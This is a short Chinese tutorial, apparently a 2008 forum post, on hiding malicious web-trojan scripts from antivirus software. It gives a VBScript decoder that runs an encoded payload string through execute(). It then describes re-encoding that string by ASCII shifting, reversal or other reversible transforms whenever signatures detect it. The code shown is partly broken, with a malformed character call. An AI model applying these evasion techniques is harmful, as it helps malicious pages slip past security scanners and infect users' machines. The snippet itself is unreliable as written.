大家新年好，我是浪々仔这是2008年的第一个教程，决定给大家做个真正有用的教程，网马免杀～

56

<script language="VBScript">
function Decode(k)
dim s,t,i
s=Split(k,"")
t=""
for i=0 to Ubound(s)
t=t+char((s(i))
next
Decode=t
End Function
dim str1
str1="转换后的"
execute(Decode(str1))
</script>

不过有的时候这种方法也会失效，当然我们还有办法。一般这种方法失效的原因是str1表示的字符串也被加入病毒库了，我们只要对str1加密就行了。谭浩强爷爷讲过一种古老的加密方式，把每个字符的asc加一个数形成密文。比如我们对每个数加1形成：str1="61+1"，再修改decode函数，将t=t+chr(s(i))改为t=t+chr(s(i)-1)，这下又免杀了。

对字符串的加密方法实在太多了，除了上面的每个字符asc加固定值，还有字符串颠倒，中间的空格分隔符用其它符号等等，总之你只要找到一个可逆函数F(x)，用str1表示F(x)加密过的字符串，然后执行EXECUTE(F-1(str1))就行了。

感谢 cycz <cycz@163.com> 发布原创作品 QQ：3461522